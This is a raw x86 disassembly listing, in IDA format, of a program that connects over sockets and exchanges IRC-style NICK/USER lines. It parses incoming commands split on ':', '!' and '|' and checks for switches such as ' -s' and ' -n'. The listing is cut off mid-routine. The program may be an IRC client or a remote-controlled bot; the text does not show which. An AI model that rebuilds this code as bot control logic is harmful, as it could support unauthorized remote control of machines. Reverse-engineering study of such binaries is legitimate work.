var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FDA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E74 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax call near ptr 71AB9639h nop loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C8E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44741D mov ecx, offset word_448D06 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D06 add eax, 1B6h push eax push offset dword_4473D4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D06 push edx push offset dword_4472B0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447342 mov ecx, offset word_448D06 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D06 add eax, 0DBh push eax push offset byte_4472F9 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D06 add edx, 92h push edx push offset byte_44738B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474AF mov ecx, offset word_448D06 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2811E0Eh jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44735C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call near ptr 71AB2B66h nop mov ecx, offset byte_4472F9 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h nop call near ptr 2811E0Eh mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h call near ptr 71AB951Eh nop mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EA1BD nop add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx call near ptr 71AB2BF4h nop push offset byte_446F60 mov ecx, offset byte_44738B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44738B call sub_4017E4 mov edx, dword_44710C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov eax, dword_447114 push eax mov ecx, offset byte_4E6E75 call sub_4017E4 mov ecx, dword_447110 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 27D0802h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473D4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470EC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447108 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_4470F0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447108 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44741D call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov ecx, dword_4470F4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44741D call sub_4017E4 push eax mov ecx, offset dword_4473D4 call sub_4017E4 mov edx, dword_4470F4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E75 call sub_4017E4 push eax mov eax, dword_4470FC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447104 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447100 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447834 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C84 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F60 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F60 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470F8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C84 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C78 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C78 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C74 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F60 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44711C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C8E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C8E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E75 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C84 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] 